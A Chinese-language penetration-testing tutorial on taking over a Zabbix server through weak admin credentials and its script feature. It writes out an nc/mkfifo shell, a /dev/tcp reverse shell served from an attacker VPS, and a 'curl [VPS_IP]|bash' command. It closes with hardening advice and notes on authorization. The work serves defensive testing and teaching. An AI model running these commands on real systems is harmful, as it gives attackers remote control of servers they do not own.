记一次渗透测试过程中的Zabbix命令执行利用
字数 1074 2025-08-18 11:37:15
Zabbix命令执行漏洞利用与防御详解
漏洞概述
Zabbix是一个企业级开源监控解决方案,但在配置不当的情况下存在严重安全风险。主要漏洞点包括:
- 弱认证问题:管理员常使用默认凭证(Admin/zabbix)或弱密码
- 命令执行功能:通过"system.run[command,]"监控项可执行系统命令
- 权限配置不当:Zabbix服务以高权限运行(如root)
漏洞利用步骤详解
环境准备
- 已获取Zabbix Admin权限(通过弱口令或默认凭证)
- 一台可控的VPS服务器(用于接收反弹shell)
利用过程
方法一:直接通过nc反弹shell
-
创建反弹shell脚本
- 路径:管理 → 脚本
- 配置:
- "执行在":选择Zabbix服务器
- "命令":
mkfifo /tmp/tmp_fifo cat /tmp/tmp_fifo | /bin/bash -i 2>&1 | nc -l 12345 > /tmp/tmp_fifo
- 此命令会在目标服务器12345端口监听并反弹shell
-
执行脚本
- 路径:监测中 → 问题 → 选择目标服务器 → 点击"脚本"选项卡 → 执行刚创建的"nc shell"脚本
-
常见问题处理
- 若目标无nc:
- 尝试安装nc:
yum -y install nc(需root权限) - 若无root权限,此方法失败
- 尝试安装nc:
- 若目标无nc:
方法二:通过curl反弹shell
-
准备Web服务器
- 在VPS上搭建Web服务
- 创建index.html内容:
sh -i >& /dev/tcp/[VPS_IP]/12345 0>&1
-
在VPS上监听端口
nc -lvnp 12345 -
通过Zabbix执行反弹
- 创建新脚本:
- "命令":
curl [VPS_IP]|bash
- "命令":
- 执行该脚本
- 创建新脚本:
-
获取shell
- 成功执行后,VPS上将获得目标服务器的shell会话
安全加固措施
-
认证安全
- 强制使用复杂密码,禁用默认凭证
- 定期更换密码
- 启用双因素认证(如支持)
-
服务配置
- Zabbix server和agent不要以root身份运行
- 禁止AllowRoot=1配置
- 禁用EnableRemoteCommands=1(防止远程命令执行)
-
网络防护
- 限制Zabbix管理界面的访问IP
- 使用VPN或跳板机访问管理界面
- 定期审计Zabbix服务器日志
-
权限控制
- 遵循最小权限原则配置Zabbix用户权限
- 禁用不必要的脚本功能
-
补丁与更新
- 保持Zabbix版本最新
- 及时应用安全补丁
渗透测试注意事项
- 进行此类测试前必须获得书面授权
- 测试过程中避免使用破坏性命令
- 测试完成后及时清理创建的脚本和临时文件
- 提供详细的安全评估报告,包括发现的风险和修复建议
总结
Zabbix作为企业监控系统,若配置不当会带来严重安全风险。通过本文描述的方法,攻击者可利用弱口令和命令执行功能获取服务器控制权。防御关键在于严格的认证控制、合理的服务配置和持续的监控审计。